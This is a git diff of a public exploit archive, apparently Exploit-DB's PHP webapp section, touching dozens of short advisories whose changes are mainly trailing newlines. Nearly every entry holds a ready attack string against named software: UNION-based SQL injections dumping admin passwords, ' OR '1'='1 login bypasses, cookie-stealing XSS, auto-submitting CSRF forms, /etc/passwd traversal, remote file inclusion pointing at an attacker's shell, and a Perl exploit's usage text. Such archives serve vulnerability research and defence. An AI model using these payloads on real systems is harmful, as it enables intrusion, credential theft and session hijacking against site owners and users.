+http://www.example.com/cms/user.php?toDo=showgallery&id=999999999999+UNION+SELECT+1,concat(password,0x3a,id),3,4,5,6,7,8,9,10,11,12,13,14+from+admin \ No newline at end of file diff --git a/platforms/php/webapps/34017.txt b/platforms/php/webapps/34017.txt index 5f92d0bae..c79eef693 100755 --- a/platforms/php/webapps/34017.txt +++ b/platforms/php/webapps/34017.txt @@ -6,4 +6,4 @@ An attacker can exploit these issues to include an arbitrary remote file contain The issues affect Snipe Gallery versions 3.1.5 and prior. -http://www.example.com/image.php?cfg_admin_path=[shell.txt ] \ No newline at end of file +http://www.example.com/image.php?cfg_admin_path=[shell.txt ] \ No newline at end of file diff --git a/platforms/php/webapps/34021.txt b/platforms/php/webapps/34021.txt index aa4ce01b6..4fd963b5f 100755 --- a/platforms/php/webapps/34021.txt +++ b/platforms/php/webapps/34021.txt @@ -4,4 +4,4 @@ The 'com_horses' component for Joomla! is prone to an SQL-injection vulnerabilit Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?option=com_horses&task=getnames&id=-1/**/UNION/**/SELECT/**/1,2,3,4,5,6-- \ No newline at end of file +http://www.example.com/index.php?option=com_horses&task=getnames&id=-1/**/UNION/**/SELECT/**/1,2,3,4,5,6-- \ No newline at end of file diff --git a/platforms/php/webapps/34022.txt b/platforms/php/webapps/34022.txt index 131443133..ee12fe9f9 100755 --- a/platforms/php/webapps/34022.txt +++ b/platforms/php/webapps/34022.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Stiva SHOPPING CART 1.0 is vulnerable; other versions may be affected as well. -http://www.example.com/demo.php?id=18&p=1&cat=%22%3E%3Cscript%3Ealert%281%29;%3C/script%3E \ No newline at end of file +http://www.example.com/demo.php?id=18&p=1&cat=%22%3E%3Cscript%3Ealert%281%29;%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/34023.txt b/platforms/php/webapps/34023.txt index 06abd0ef3..278df4543 100755 --- a/platforms/php/webapps/34023.txt +++ b/platforms/php/webapps/34023.txt @@ -11,4 +11,4 @@ The following example URIs are available: http://www.example.com/path_to_cp/list_content.php?cl=2%27%22%3E%3Cimg+src=x+onerror=alert%28document.cookie%29%3E http://www.example.com/path_to_cp/edit_email.php?&id=contact_form_214%27+--+%3Cimg+src=x+onerror=alert%28document.cookie%29%3E http://www.example.com/path_to_cp/cp_messages.php?action=view_inbox&id=-1+union+select+1,2,3,4,5,6,7,8,9+--+ -http://www.example.com/path_to_cp/edit_email.php?&id=X%27+union+select+1,2,3,4,5,6+--+ \ No newline at end of file +http://www.example.com/path_to_cp/edit_email.php?&id=X%27+union+select+1,2,3,4,5,6+--+ \ No newline at end of file diff --git a/platforms/php/webapps/34024.txt b/platforms/php/webapps/34024.txt index 3eb8e0520..90512c15b 100755 --- a/platforms/php/webapps/34024.txt +++ b/platforms/php/webapps/34024.txt @@ -4,4 +4,4 @@ Triburom is prone to a cross-site scripting vulnerability because it fails to pr An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. -http://www.example.com/forum.php?action=liste&cat=%22%3E%3Cscript%3Ealert%281%29;%3C/script%3E \ No newline at end of file +http://www.example.com/forum.php?action=liste&cat=%22%3E%3Cscript%3Ealert%281%29;%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/34029.txt b/platforms/php/webapps/34029.txt index 02e7b315c..4d044cc0d 100755 --- a/platforms/php/webapps/34029.txt +++ b/platforms/php/webapps/34029.txt @@ -8,4 +8,4 @@ Parent Connect 2010.4.11 is vulnerable; other versions may also be affected. The following example data is available: -password: ' OR '1'='1 \ No newline at end of file +password: ' OR '1'='1 \ No newline at end of file diff --git a/platforms/php/webapps/34032.txt b/platforms/php/webapps/34032.txt index 0748c6cc6..a7f3c52ff 100755 --- a/platforms/php/webapps/34032.txt +++ b/platforms/php/webapps/34032.txt @@ -8,4 +8,4 @@ NPDS Revolution 10.02 is vulnerable; prior versions may also be affected. The following example request is available: -<img src="http://www.example.com/admin.php?op=ConfigFiles_save&Xtxt=<?+phpinfo()+?>&Xfiles=footer_after&confirm=1"> \ No newline at end of file +<img src="http://www.example.com/admin.php?op=ConfigFiles_save&Xtxt=<?+phpinfo()+?>&Xfiles=footer_after&confirm=1"> \ No newline at end of file diff --git a/platforms/php/webapps/34040.txt b/platforms/php/webapps/34040.txt index 733311d37..7fb1e824b 100755 --- a/platforms/php/webapps/34040.txt +++ b/platforms/php/webapps/34040.txt @@ -6,4 +6,4 @@ Attacker-supplied HTML or JavaScript code could run in the context of the affect razorCMS 1.0 Stable is vulnerable; other versions may also be affected. -<form action="http://www.example.com/admin/?action=edit&slab=home" method="post" name="main" > <input type="hidden" name="title" value="Home" /> <input name="content" type="hidden" value='hello"><script>alert("2"+document.cookie)</script>' /> <input type="hidden" name="ptitle" value="" /> <input type="hidden" name="theme" value="theme-default" /> <input type="hidden" name="check_sidebar" value="sidebar" /> <input type="hidden" name="save" value="Save Content" /> </form> <script> document.main.submit(); </script> \ No newline at end of file +<form action="http://www.example.com/admin/?action=edit&slab=home" method="post" name="main" > <input type="hidden" name="title" value="Home" /> <input name="content" type="hidden" value='hello"><script>alert("2"+document.cookie)</script>' /> <input type="hidden" name="ptitle" value="" /> <input type="hidden" name="theme" value="theme-default" /> <input type="hidden" name="check_sidebar" value="sidebar" /> <input type="hidden" name="save" value="Save Content" /> </form> <script> document.main.submit(); </script> \ No newline at end of file diff --git a/platforms/php/webapps/34043.txt b/platforms/php/webapps/34043.txt index 12c336d8f..7d91d19e3 100755 --- a/platforms/php/webapps/34043.txt +++ b/platforms/php/webapps/34043.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc 360 Web Manager 3.0 is vulnerable; other versions may also be affected. -http://www.example.com/adm/content/webpages/webpages-form-led-edit.php?IDFM=-1+ANY_SQL_HERE+--+ \ No newline at end of file +http://www.example.com/adm/content/webpages/webpages-form-led-edit.php?IDFM=-1+ANY_SQL_HERE+--+ \ No newline at end of file diff --git a/platforms/php/webapps/34044.txt b/platforms/php/webapps/34044.txt index fb788f40d..352d6dd72 100755 --- a/platforms/php/webapps/34044.txt +++ b/platforms/php/webapps/34044.txt @@ -4,4 +4,4 @@ md5 Encryption Decryption PHP Script is prone to a cross-site scripting vulnerab An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/MD5/index.php/>"><ScRiPt>alert(213771818860)</ScRiPt> \ No newline at end of file +http://www.example.com/MD5/index.php/>"><ScRiPt>alert(213771818860)</ScRiPt> \ No newline at end of file diff --git a/platforms/php/webapps/34045.txt b/platforms/php/webapps/34045.txt index 29984bc55..bad59b118 100755 --- a/platforms/php/webapps/34045.txt +++ b/platforms/php/webapps/34045.txt @@ -4,4 +4,4 @@ BackLinkSpider is prone to an SQL-injection vulnerability because it fails to su Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://example.com/links.php?cat_id=-1+UNION+SELECT+1,2,3,4,5,6,concat(password,0x3a,email),8,9,10,11,12,13,14,15,16,17,18,19,20+from+lp_user_tb-- \ No newline at end of file +http://example.com/links.php?cat_id=-1+UNION+SELECT+1,2,3,4,5,6,concat(password,0x3a,email),8,9,10,11,12,13,14,15,16,17,18,19,20+from+lp_user_tb-- \ No newline at end of file diff --git a/platforms/php/webapps/34046.txt b/platforms/php/webapps/34046.txt index ac6fa3301..61229f263 100755 --- a/platforms/php/webapps/34046.txt +++ b/platforms/php/webapps/34046.txt @@ -9,4 +9,4 @@ BackLinkSpider 1.3.1774.0 is vulnerable; other versions may also be affected. http://www.example.com/links.php?cat_id=[XSS] http://www.example.com/links.php?siteid=[XSS] -http://www.example.com/links.php?cat_id=1&cat_name=1[XSS] \ No newline at end of file +http://www.example.com/links.php?cat_id=1&cat_name=1[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/34049.txt b/platforms/php/webapps/34049.txt index ba0fdef5e..5490fbd11 100755 --- a/platforms/php/webapps/34049.txt +++ b/platforms/php/webapps/34049.txt @@ -7,4 +7,4 @@ Exploiting these issues could allow an attacker to steal cookie-based authentica Layout CMS 1.0 is vulnerable; other versions may be affected. http://www.example.com/preview.php?id=-1+union+select+1,2,concat%28pass,0x3e,uname%29,4,5,6,7,8,9,10+from+layout_demo.users -http://www.example.com/preview.php?id=%22%3E%3Cscript%3Ealert%281%29;%3C/script%3E \ No newline at end of file +http://www.example.com/preview.php?id=%22%3E%3Cscript%3Ealert%281%29;%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/34053.txt b/platforms/php/webapps/34053.txt index ba69e976d..3427bc672 100755 --- a/platforms/php/webapps/34053.txt +++ b/platforms/php/webapps/34053.txt @@ -10,4 +10,4 @@ The following example URIs are available: http://www.example.com/admin.php?module_id=329&security_token=$valid_token&page[0]=&page_size[0]=200+ANY_SQL_HERE+--++ -http://www.example.com/admin.php?module_id=329&security_token=$valid_token&sort_field[1]=&email+ANY_SQL_HERE+--+&sort_dir[1]=asc \ No newline at end of file +http://www.example.com/admin.php?module_id=329&security_token=$valid_token&sort_field[1]=&email+ANY_SQL_HERE+--+&sort_dir[1]=asc \ No newline at end of file diff --git a/platforms/php/webapps/34054.txt b/platforms/php/webapps/34054.txt index 6dfe5c719..996679831 100755 --- a/platforms/php/webapps/34054.txt +++ b/platforms/php/webapps/34054.txt @@ -6,4 +6,4 @@ Exploiting this issue may allow an attacker to compromise the application and th This issue affects version 1.8.6.1; other versions may also be vulnerable. -http://www.example.com/path/page.php?theme=http://attacker's site \ No newline at end of file +http://www.example.com/path/page.php?theme=http://attacker's site \ No newline at end of file diff --git a/platforms/php/webapps/34055.txt b/platforms/php/webapps/34055.txt index 058c4fa0d..ea7a5429e 100755 --- a/platforms/php/webapps/34055.txt +++ b/platforms/php/webapps/34055.txt @@ -5,4 +5,4 @@ CMScout is prone to a cross-site scripting vulnerability because the application An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. The following example input to the 'search' field is available: -<marquee><font color=Blue size=15>XroGuE</font></marquee> \ No newline at end of file +<marquee><font color=Blue size=15>XroGuE</font></marquee> \ No newline at end of file diff --git a/platforms/php/webapps/34056.txt b/platforms/php/webapps/34056.txt index 2db70d335..0df4d4f04 100755 --- a/platforms/php/webapps/34056.txt +++ b/platforms/php/webapps/34056.txt @@ -26,4 +26,4 @@ http://www.example.com/administrator/index.php?option=com_poll&search=%22%20onmo http://www.example.com/administrator/index.php?option=com_weblinks&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E http://www.example.com/administrator/index.php?option=com_categories&section=com_weblinks&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E http://www.example.com/administrator/index.php?option=com_modules&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E -http://www.example.com/administrator/index.php?option=com_plugins&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E \ No newline at end of file +http://www.example.com/administrator/index.php?option=com_plugins&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E \ No newline at end of file diff --git a/platforms/php/webapps/34057.txt b/platforms/php/webapps/34057.txt index 69ff732e8..b519289a4 100755 --- a/platforms/php/webapps/34057.txt +++ b/platforms/php/webapps/34057.txt @@ -4,4 +4,4 @@ wsCMS is prone to a cross-site scripting vulnerability because it fails to prope An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/news.php?id=<script><font color=red size=15>XSS</font></script> \ No newline at end of file +http://www.example.com/news.php?id=<script><font color=red size=15>XSS</font></script> \ No newline at end of file diff --git a/platforms/php/webapps/3406.pl b/platforms/php/webapps/3406.pl index 45c3e4052..4c0780438 100755 --- a/platforms/php/webapps/3406.pl +++ b/platforms/php/webapps/3406.pl @@ -67,8 +67,8 @@ sub usage() { head(); print " Usage: exploit.pl [target] [cmd shell location] [cmd shell variable]\r\n\n"; - print " <Site> - Full path to News-Letterman ex: http://www.server/ \r\n"; - print " <cmd shell> - Path to cmd Shell e.g http://www.different-server/cmd.txt \r\n"; + print " <Site> - Full path to News-Letterman ex: http://www.site.com/ \r\n"; + print " <cmd shell> - Path to cmd Shell e.g http://www.different-site.com/cmd.txt \r\n"; print " <cmd variable> - Command variable used in php shell \r\n"; print "============================================================================\r\n"; print " Bug Found by bd0rk \r\n"; diff --git a/platforms/php/webapps/34071.txt b/platforms/php/webapps/34071.txt index 7df3ca52b..55d331cc9 100755 --- a/platforms/php/webapps/34071.txt +++ b/platforms/php/webapps/34071.txt @@ -4,4 +4,4 @@ The 'com_sar_news' component for Joomla! is prone to an SQL-injection vulnerabil Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?option=com_sar_news&id=80/**/AND/**/1=2/**/UNION/**/SELECT/**/1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33/*&sort_by=ordering \ No newline at end of file +http://www.example.com/index.php?option=com_sar_news&id=80/**/AND/**/1=2/**/UNION/**/SELECT/**/1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33/*&sort_by=ordering \ No newline at end of file diff --git a/platforms/php/webapps/34072.txt b/platforms/php/webapps/34072.txt index 0c3e88727..f348aa939 100755 --- a/platforms/php/webapps/34072.txt +++ b/platforms/php/webapps/34072.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Hexjector 1.0.7.2 is vulnerable; other versions may be affected. -http://www.example.com/Hexjector/hexjector.php?site=<iframe src="http://localhost/hexjector/" height=0 width=0></iframe>&injsubmit=Submit+Query&custom_parameter= \ No newline at end of file +http://www.example.com/Hexjector/hexjector.php?site=<iframe src="http://localhost/hexjector/" height=0 width=0></iframe>&injsubmit=Submit+Query&custom_parameter= \ No newline at end of file diff --git a/platforms/php/webapps/34077.txt b/platforms/php/webapps/34077.txt index d283ce4f2..b17732619 100755 --- a/platforms/php/webapps/34077.txt +++ b/platforms/php/webapps/34077.txt @@ -6,4 +6,4 @@ Attackers can exploit this vulnerability to gain administrative access to the af The following example data is available: -javascript:document.cookie = "kullanici=; path=/"; \ No newline at end of file +javascript:document.cookie = "kullanici=; path=/"; \ No newline at end of file diff --git a/platforms/php/webapps/34079.txt b/platforms/php/webapps/34079.txt index a938fda85..ec78647e0 100755 --- a/platforms/php/webapps/34079.txt +++ b/platforms/php/webapps/34079.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Sniggabo CMS 2.21 is vulnerable; other versions may be affected. -http://www.example.com/search.php?q=%3Ch1%3EHacked%20by%20Sora%20-%20vhr95zw%20[at]%20hotmail%20[dot]%20com%3C/h1%3E%3Chr%3Eh4Ã?3d%20-%20http://greyhathackers.wordpress.com/%3Cbr%3E&site=www.google.ca \ No newline at end of file +http://www.example.com/search.php?q=%3Ch1%3EHacked%20by%20Sora%20-%20vhr95zw%20[at]%20hotmail%20[dot]%20com%3C/h1%3E%3Chr%3Eh4Ã?3d%20-%20http://greyhathackers.wordpress.com/%3Cbr%3E&site=www.google.ca \ No newline at end of file diff --git a/platforms/php/webapps/34082.txt b/platforms/php/webapps/34082.txt index c2d1817b2..04e186ab4 100755 --- a/platforms/php/webapps/34082.txt +++ b/platforms/php/webapps/34082.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Obsession-Design Image-Gallery 1.1 is vulnerable; other versions may also be affected. -http://www.example.com/demos/odig/display.php?folder=/>"><script>alert(123456789)</script> \ No newline at end of file +http://www.example.com/demos/odig/display.php?folder=/>"><script>alert(123456789)</script> \ No newline at end of file diff --git a/platforms/php/webapps/34084.txt b/platforms/php/webapps/34084.txt index 5c5ec9a88..3131143bc 100755 --- a/platforms/php/webapps/34084.txt +++ b/platforms/php/webapps/34084.txt @@ -11,4 +11,4 @@ The following example URIs are available: http://www.example.com/Lineage ACM/lineweb_1.0.5/index.php?op=../../../../../../../etc/passwd http://www.example.com/Lineage%20ACM/lineweb_1.0.5/admin/index.php?op=../../../../../../../etc/passwd http://www.example.com/Lineage%20ACM/lineweb_1.0.5/admin/edit_news.php?newsid=%27 -http://www.example.com/Lineage%20ACM/lineweb_1.0.5/admin/edit_ads.php?ad_id=1&ad_name=a&ad_content=ARGENTINA \ No newline at end of file +http://www.example.com/Lineage%20ACM/lineweb_1.0.5/admin/edit_ads.php?ad_id=1&ad_name=a&ad_content=ARGENTINA \ No newline at end of file diff --git a/platforms/php/webapps/34095.txt b/platforms/php/webapps/34095.txt index ac6004bf6..4dbf7ba49 100755 --- a/platforms/php/webapps/34095.txt +++ b/platforms/php/webapps/34095.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc The following example data is available: -password: 'or' 1=1 \ No newline at end of file +password: 'or' 1=1 \ No newline at end of file diff --git a/platforms/php/webapps/34106.txt b/platforms/php/webapps/34106.txt index c9647e8a3..fb8979e89 100755 --- a/platforms/php/webapps/34106.txt +++ b/platforms/php/webapps/34106.txt @@ -4,4 +4,4 @@ cPanel Image Manager is prone to a local file-include vulnerability because it f An attacker can exploit this vulnerability to view files and execute local scripts in the context of the webserver process, which may aid in further attacks. -http://www.example.com/frontend/x3/cpanelpro/doconvert.html?target=/etc/ \ No newline at end of file +http://www.example.com/frontend/x3/cpanelpro/doconvert.html?target=/etc/ \ No newline at end of file diff --git a/platforms/php/webapps/34107.txt b/platforms/php/webapps/34107.txt index 63e7d0713..d6d790276 100755 --- a/platforms/php/webapps/34107.txt +++ b/platforms/php/webapps/34107.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow boastMachine 3.1 is vulnerable; other versions may be affected. -http://www.example.com/?action=search&title=item&blog=1&key=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E \ No newline at end of file +http://www.example.com/?action=search&title=item&blog=1&key=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/34109.html b/platforms/php/webapps/34109.html index 9ffb88dc5..92501295a 100755 --- a/platforms/php/webapps/34109.html +++ b/platforms/php/webapps/34109.html @@ -6,4 +6,4 @@ An attacker can exploit these issues to gain unauthorized access, obtain potenti log1 CMS 2.0 is vulnerable; other versions may be affected. -<form action="http://example.com/admin/main.php?action=savefile" method="post" name="main" > <input name="content" type="hidden" value='Some text here..."><script>alert(document.cookie)</script>' /> <input type="hidden" name="filename" value="menupage1_page" /> </form> <script> document.main.submit(); </script> \ No newline at end of file +<form action="http://example.com/admin/main.php?action=savefile" method="post" name="main" > <input name="content" type="hidden" value='Some text here..."><script>alert(document.cookie)</script>' /> <input type="hidden" name="filename" value="menupage1_page" /> </form> <script> document.main.submit(); </script> \ No newline at end of file diff --git a/platforms/php/webapps/34110.txt b/platforms/php/webapps/34110.txt index 43c37ae06..d2f53d0ca 100755 --- a/platforms/php/webapps/34110.txt +++ b/platforms/php/webapps/34110.txt @@ -12,4 +12,4 @@ http://www.example.com/vehicle/buy_do_search/?order_direction=DESC&&status=1&for Cross Site Scripting -http://www.example.com/vehicle/buy_do_search/?order_direction=[XSS] \ No newline at end of file +http://www.example.com/vehicle/buy_do_search/?order_direction=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/34117.txt b/platforms/php/webapps/34117.txt index 556148749..5d0510395 100755 --- a/platforms/php/webapps/34117.txt +++ b/platforms/php/webapps/34117.txt @@ -6,4 +6,4 @@ An attacker can exploit these vulnerabilities to obtain potentially sensitive in Bits Video Script 2.05 Gold Beta is vulnerable; other versions may also be affected. - http://www.example.com/Video/showcase2search.php?rowptem[template]=[EV!L] \ No newline at end of file + http://www.example.com/Video/showcase2search.php?rowptem[template]=[EV!L] \ No newline at end of file diff --git a/platforms/php/webapps/34119.txt b/platforms/php/webapps/34119.txt index 799a21d46..c97618dce 100755 --- a/platforms/php/webapps/34119.txt +++ b/platforms/php/webapps/34119.txt @@ -6,4 +6,4 @@ An attacker can exploit these vulnerabilities to upload arbitrary code and run i Bits Video Script 2.04 and 2.05 Gold Beta are vulnerable; other versions may also be affected. -http://www.example.com/Video/addvideo.php \ No newline at end of file +http://www.example.com/Video/addvideo.php \ No newline at end of file diff --git a/platforms/php/webapps/34127.txt b/platforms/php/webapps/34127.txt index f31cfe354..b28848789 100755 --- a/platforms/php/webapps/34127.txt +++ b/platforms/php/webapps/34127.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc Arab Portal 2.2 is vulnerable; other versions may also be affected. -http://www.example.com/apt/members.php?action=msearch&by=[SQL] \ No newline at end of file +http://www.example.com/apt/members.php?action=msearch&by=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/34137.txt b/platforms/php/webapps/34137.txt index bb927b418..f2b0553be 100755 --- a/platforms/php/webapps/34137.txt +++ b/platforms/php/webapps/34137.txt @@ -4,4 +4,4 @@ The VideoWhisper 2 Way Video Chat component for Joomla! is prone to a cross-site Exploiting this vulnerability could allow an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. -http://www.example.com/index.php?r=[XSS] \ No newline at end of file +http://www.example.com/index.php?r=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/34141.txt b/platforms/php/webapps/34141.txt index f5ab7e459..1cc5b5de0 100755 --- a/platforms/php/webapps/34141.txt +++ b/platforms/php/webapps/34141.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc AneCMS 1.3 is vulnerable; other versions may also be affected. -http://www.example.com/blog/1+ANY_SQL_CODE_HERE/Demo_of_ANE_CMS#comment-63 \ No newline at end of file +http://www.example.com/blog/1+ANY_SQL_CODE_HERE/Demo_of_ANE_CMS#comment-63 \ No newline at end of file diff --git a/platforms/php/webapps/34142.txt b/platforms/php/webapps/34142.txt index de49bf179..4e89d19cd 100755 --- a/platforms/php/webapps/34142.txt +++ b/platforms/php/webapps/34142.txt @@ -7,4 +7,4 @@ Exploiting these issues could allow an attacker to compromise the application, a MODx 1.0.3 is vulnerable; other versions may also be affected. http://www.example.com/manager/index.php?id=4%27+ANY_SQL&a=16 -http://www.example.com/manager/index.php?a=106%27+ANY_SQL_HERE \ No newline at end of file +http://www.example.com/manager/index.php?a=106%27+ANY_SQL_HERE \ No newline at end of file diff --git a/platforms/php/webapps/34144.txt b/platforms/php/webapps/34144.txt index 406f2f09d..5b8d7b5ea 100755 --- a/platforms/php/webapps/34144.txt +++ b/platforms/php/webapps/34144.txt @@ -6,4 +6,4 @@ Exploiting this vulnerability could allow an attacker to execute arbitrary scrip The following example URI is available: -http://www.example.com/index.php?option=com_easygb&Itemid=[XSS] \ No newline at end of file +http://www.example.com/index.php?option=com_easygb&Itemid=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/34146.txt b/platforms/php/webapps/34146.txt index f01a59d9e..cb21c66b1 100755 --- a/platforms/php/webapps/34146.txt +++ b/platforms/php/webapps/34146.txt @@ -8,4 +8,4 @@ Exploiting these issues could allow an attacker to compromise the application, a The following example data are available: Username: a' or '1'='1 -Password: a' or '1'='1 \ No newline at end of file +Password: a' or '1'='1 \ No newline at end of file diff --git a/platforms/php/webapps/34147.txt b/platforms/php/webapps/34147.txt index 10f9be21d..46d2c7984 100755 --- a/platforms/php/webapps/34147.txt +++ b/platforms/php/webapps/34147.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow JForum 2.1.8 is vulnerable; other versions may also be affected. -http://www.example.com/jforum/jforum.page?action=findUser&module=pm&username=â?><script src=â?http://example.org/test.jsâ?></script><div \ No newline at end of file +http://www.example.com/jforum/jforum.page?action=findUser&module=pm&username=â?><script src=â?http://example.org/test.jsâ?></script><div \ No newline at end of file diff --git a/platforms/php/webapps/34153.txt b/platforms/php/webapps/34153.txt index bea305ca7..4ebf266c2 100755 --- a/platforms/php/webapps/34153.txt +++ b/platforms/php/webapps/34153.txt @@ -12,4 +12,4 @@ http://www.example.com/products/orkutclone/view_photo.php?page=3&alb=[SQLI] Cross site Scripting: -http://www.example.com/products/orkutclone/scrapbook.php?id=[XSS] \ No newline at end of file +http://www.example.com/products/orkutclone/scrapbook.php?id=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/34154.txt b/platforms/php/webapps/34154.txt index 016cd01a7..16773a160 100755 --- a/platforms/php/webapps/34154.txt +++ b/platforms/php/webapps/34154.txt @@ -4,4 +4,4 @@ Software Index is prone to a cross-site scripting vulnerability because it fails An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and to launch other attacks. -http://www.example.com/signinform.php?msg=/"><marquee><font%20color=gren%20size=30>indoushka</font></marquee> \ No newline at end of file +http://www.example.com/signinform.php?msg=/"><marquee><font%20color=gren%20size=30>indoushka</font></marquee> \ No newline at end of file diff --git a/platforms/php/webapps/34166.txt b/platforms/php/webapps/34166.txt index aa63207b0..1ed7dde99 100755 --- a/platforms/php/webapps/34166.txt +++ b/platforms/php/webapps/34166.txt @@ -4,4 +4,4 @@ KubeSupport is prone to an SQL-injection vulnerability because it fails to suffi Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/KubeSupport/install/index.php?lang=[SQLI] \ No newline at end of file +http://www.example.com/KubeSupport/install/index.php?lang=[SQLI] \ No newline at end of file diff --git a/platforms/php/webapps/34173.txt b/platforms/php/webapps/34173.txt index 9be3e89ee..de749046a 100755 --- a/platforms/php/webapps/34173.txt +++ b/platforms/php/webapps/34173.txt @@ -9,4 +9,4 @@ Montgomery PoC: -http://server/path/index.php?phpfile=/etc/passwd +http://site.com/path/index.php?phpfile=/etc/passwd diff --git a/platforms/php/webapps/34175.txt b/platforms/php/webapps/34175.txt index 296c76fb3..ebb751843 100755 --- a/platforms/php/webapps/34175.txt +++ b/platforms/php/webapps/34175.txt @@ -5,4 +5,4 @@ SaffaTunes CMS is prone to multiple SQL-injection vulnerabilities because it fai Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. http://www.example.com/cms/news.php?id=9[CODE] -http://www.example.com/cms/news.php?year=2010[CODE] \ No newline at end of file +http://www.example.com/cms/news.php?year=2010[CODE] \ No newline at end of file diff --git a/platforms/php/webapps/34183.txt b/platforms/php/webapps/34183.txt index f886e3f3c..639ead77d 100755 --- a/platforms/php/webapps/34183.txt +++ b/platforms/php/webapps/34183.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Jamroom versions prior to 4.1.9 are vulnerable. -http://www.example.com/forum.php?mode=modify&band_id=0&t=<T>&c=<C>&post_id=<POST_ID>%00%27%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E \ No newline at end of file +http://www.example.com/forum.php?mode=modify&band_id=0&t=<T>&c=<C>&post_id=<POST_ID>%00%27%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/34185.txt b/platforms/php/webapps/34185.txt index 1b162fc1e..724cd6f1f 100755 --- a/platforms/php/webapps/34185.txt +++ b/platforms/php/webapps/34185.txt @@ -4,4 +4,4 @@ Pre Multi-Vendor Shopping Malls is prone to an SQL-injection vulnerability becau Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/[path]/products.php?sid=1 (SQL) \ No newline at end of file +http://www.example.com/[path]/products.php?sid=1 (SQL) \ No newline at end of file diff --git a/platforms/php/webapps/34195.txt b/platforms/php/webapps/34195.txt index 20bafd8ef..1f9d4c2e5 100755 --- a/platforms/php/webapps/34195.txt +++ b/platforms/php/webapps/34195.txt @@ -10,4 +10,4 @@ The following example URIs are available: http://www.example.com/wp-content/plugins/cimy-counter/cc_redirect.php?cc=Downloads&fn=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ%2b -http://www.example.com/wp-content/plugins/cimy-counter/cc_redirect.php?cc=TestCounter&fn=%0AHeader:test \ No newline at end of file +http://www.example.com/wp-content/plugins/cimy-counter/cc_redirect.php?cc=TestCounter&fn=%0AHeader:test \ No newline at end of file diff --git a/platforms/php/webapps/34197.txt b/platforms/php/webapps/34197.txt index 7b4370cdb..f61bf2569 100755 --- a/platforms/php/webapps/34197.txt +++ b/platforms/php/webapps/34197.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc AbleSpace 1.0 is vulnerable; other versions may be affected as well. -http://www.example.com/path/news.php?view=3(SQL) \ No newline at end of file +http://www.example.com/path/news.php?view=3(SQL) \ No newline at end of file diff --git a/platforms/php/webapps/34198.txt b/platforms/php/webapps/34198.txt index acc0617c1..4f1f8abd1 100755 --- a/platforms/php/webapps/34198.txt +++ b/platforms/php/webapps/34198.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Limny versions prior to 2.2 are vulnerable. -http://www.example.com/?q=user%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E \ No newline at end of file +http://www.example.com/?q=user%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E \ No newline at end of file diff --git 